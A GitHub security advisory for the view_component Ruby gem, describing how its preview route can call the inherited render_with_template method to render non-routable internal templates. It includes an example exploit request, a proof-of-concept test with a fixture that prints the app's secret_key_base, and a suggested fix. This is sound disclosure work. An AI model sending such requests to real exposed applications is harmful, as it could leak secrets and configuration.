GHSA-7F3R-GWC9-2995
Vulnerability from github – Published: 2026-05-08 23:33 – Updated: 2026-05-14 20:48Summary
The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.
As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.
If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.
Severity: High if preview routes are externally reachable; Medium otherwise.
Affected files:
lib/view_component/preview.rbapp/controllers/concerns/view_component/preview_actions.rbapp/views/view_components/preview.html.erb
Relevant Code
app/controllers/concerns/view_component/preview_actions.rb:
@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)
lib/view_component/preview.rb:
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
app/views/view_components/preview.html.erb:
<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>
The UI only lists direct preview methods via:
public_instance_methods(false).map(&:to_s).sort
But render_args does not enforce that list before dispatching.
Exploit Flow
Example request:
GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request
Flow:
my_componentresolves to a valid preview.File.basename(params[:path])returnsrender_with_template.render_argscalls inheritedViewComponent::Preview#render_with_template.- Request params provide
template: "internal/secret"andlocals: {...}. - The preview view renders
internal/secretwith attacker-controlled locals.
Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.
PoC Test
This checkout already contains a PoC at:
test/sandbox/test/security_preview_template_poc_test.rbtest/sandbox/app/views/internal/secret.html.erb
The test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.
If reproducing manually, run:
bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb
Equivalent standalone test:
# frozen_string_literal: true
require "test_helper"
class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
def setup
ViewComponent::Preview.__vc_load_previews
end
def test_preview_route_can_invoke_inherited_render_with_template
refute_includes MyComponentPreview.examples, "render_with_template"
assert_raises(ActionController::RoutingError) do
Rails.application.routes.recognize_path("/internal/secret")
end
get(
"/rails/view_components/my_component/render_with_template",
params: {
template: "internal/secret",
locals: {poc_local: "attacker-controlled-local"},
request_marker: "attacker-controlled-request"
}
)
assert_response :success
assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo"
assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local"
assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request"
end
end
Fixture template:
<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>
Suggested Fix
Only dispatch explicitly declared preview examples:
def render_args(example, params: {})
example = example.to_s
raise AbstractController::ActionNotFound unless examples.include?(example)
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
result ||= {}
result[:template] = preview_example_template_path(example) if result[:template].nil?
@layout = nil unless defined?(@layout)
result.merge(layout: @layout)
end
Add a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "view_component"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44836"
],
"database_specific": {
"cwe_ids": [
"CWE-277"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T23:33:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.\n\nAs a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.\n\nIf previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.\n\nSeverity: High if preview routes are externally reachable; Medium otherwise.\n\nAffected files:\n\n- `lib/view_component/preview.rb`\n- `app/controllers/concerns/view_component/preview_actions.rb`\n- `app/views/view_components/preview.html.erb`\n\n\n### Relevant Code\n\n`app/controllers/concerns/view_component/preview_actions.rb`:\n\n```ruby\n@example_name = File.basename(params[:path])\n@render_args = @preview.render_args(@example_name, params: params.permit!)\n```\n\n`lib/view_component/preview.rb`:\n\n```ruby\nexample_params_names = instance_method(example).parameters.map(\u0026:last)\nprovided_params = params.slice(*example_params_names).to_h.symbolize_keys\nresult = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n```\n\n`app/views/view_components/preview.html.erb`:\n\n```erb\n\u003c%= render template: @render_args[:template], locals: @render_args[:locals] || {} %\u003e\n```\n\nThe UI only lists direct preview methods via:\n\n```ruby\npublic_instance_methods(false).map(\u0026:to_s).sort\n```\n\nBut `render_args` does not enforce that list before dispatching.\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /rails/view_components/my_component/render_with_template?template=internal/secret\u0026locals[poc_local]=attacker-controlled-local\u0026request_marker=attacker-controlled-request\n```\n\nFlow:\n\n1. `my_component` resolves to a valid preview.\n2. `File.basename(params[:path])` returns `render_with_template`.\n3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.\n4. Request params provide `template: \"internal/secret\"` and `locals: {...}`.\n5. The preview view renders `internal/secret` with attacker-controlled locals.\n\nImpact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.\n\n### PoC Test\n\nThis checkout already contains a PoC at:\n\n- `test/sandbox/test/security_preview_template_poc_test.rb`\n- `test/sandbox/app/views/internal/secret.html.erb`\n\nThe test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.\n\nIf reproducing manually, run:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb\n```\n\nEquivalent standalone test:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass SecurityPreviewTemplatePocTest \u003c ActionDispatch::IntegrationTest\n def setup\n ViewComponent::Preview.__vc_load_previews\n end\n\n def test_preview_route_can_invoke_inherited_render_with_template\n refute_includes MyComponentPreview.examples, \"render_with_template\"\n\n assert_raises(ActionController::RoutingError) do\n Rails.application.routes.recognize_path(\"/internal/secret\")\n end\n\n get(\n \"/rails/view_components/my_component/render_with_template\",\n params: {\n template: \"internal/secret\",\n locals: {poc_local: \"attacker-controlled-local\"},\n request_marker: \"attacker-controlled-request\"\n }\n )\n\n assert_response :success\n assert_includes response.body, \"VC_PREVIEW_POC_SECRET=foo\"\n assert_includes response.body, \"VC_PREVIEW_POC_LOCAL=attacker-controlled-local\"\n assert_includes response.body, \"VC_PREVIEW_POC_REQUEST=attacker-controlled-request\"\n end\nend\n```\n\nFixture template:\n\n```erb\n\u003cdiv id=\"poc-secret\"\u003eVC_PREVIEW_POC_SECRET=\u003c%= Rails.application.secret_key_base %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-local\"\u003eVC_PREVIEW_POC_LOCAL=\u003c%= local_assigns[:poc_local] || local_assigns[\"poc_local\"] %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-request\"\u003eVC_PREVIEW_POC_REQUEST=\u003c%= params[:request_marker] %\u003e\u003c/div\u003e\n```\n\n### Suggested Fix\n\nOnly dispatch explicitly declared preview examples:\n\n```ruby\ndef render_args(example, params: {})\n example = example.to_s\n raise AbstractController::ActionNotFound unless examples.include?(example)\n\n example_params_names = instance_method(example).parameters.map(\u0026:last)\n provided_params = params.slice(*example_params_names).to_h.symbolize_keys\n result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n result ||= {}\n result[:template] = preview_example_template_path(example) if result[:template].nil?\n @layout = nil unless defined?(@layout)\n result.merge(layout: @layout)\nend\n```\n\nAdd a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.",
"id": "GHSA-7f3r-gwc9-2995",
"modified": "2026-05-14T20:48:35Z",
"published": "2026-05-08T23:33:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ViewComponent/view_component/security/advisories/GHSA-7f3r-gwc9-2995"
},
{
"type": "PACKAGE",
"url": "https://github.com/ViewComponent/view_component"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/view_component/CVE-2026-44836.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "view_component: Preview Route Can Dispatch Inherited Helper Methods"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.